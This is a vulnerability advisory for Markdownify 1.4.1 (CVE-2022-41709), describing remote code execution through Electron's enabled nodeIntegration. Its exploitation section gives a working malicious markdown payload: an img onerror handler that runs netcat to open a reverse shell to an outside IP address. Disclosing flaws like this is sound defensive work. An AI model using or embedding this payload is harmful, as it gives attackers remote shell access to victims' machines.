Markdownify 1.4.1 - RCE

Description

Markdownify version 1.4.1 allows an external attacker to execute arbitrary code remotely on any client attempting to view a malicious markdown file through Markdownify. This is possible because the application has the "nodeIntegration" option enabled.

Vulnerability

This vulnerability occurs because the application has the "nodeIntegration" option enabled. Due to the above, an attacker can embed malicious JS code in a markdown file and send it to the victim for viewing to achieve an RCE.

Exploitation

To exploit this vulnerability, the following file must be sent to a user to be opened with Markdownify.

exploit.md

<img src=1 onerror="require('child_process').exec('nc 192.168.20.38 4444 -e /bin/bash');"/>

Evidence of exploitation

Our security policy

We have reserved the CVE-2022-41709 to refer to this issue from now on. Disclosure policy

System Information

• Version: Markdownify 1.4.1

• Operating System: GNU/Linux

Mitigation

There is currently no patch available for this vulnerability.

References

• Vendor page https://github.com/amitmerchant1990/electron-markdownify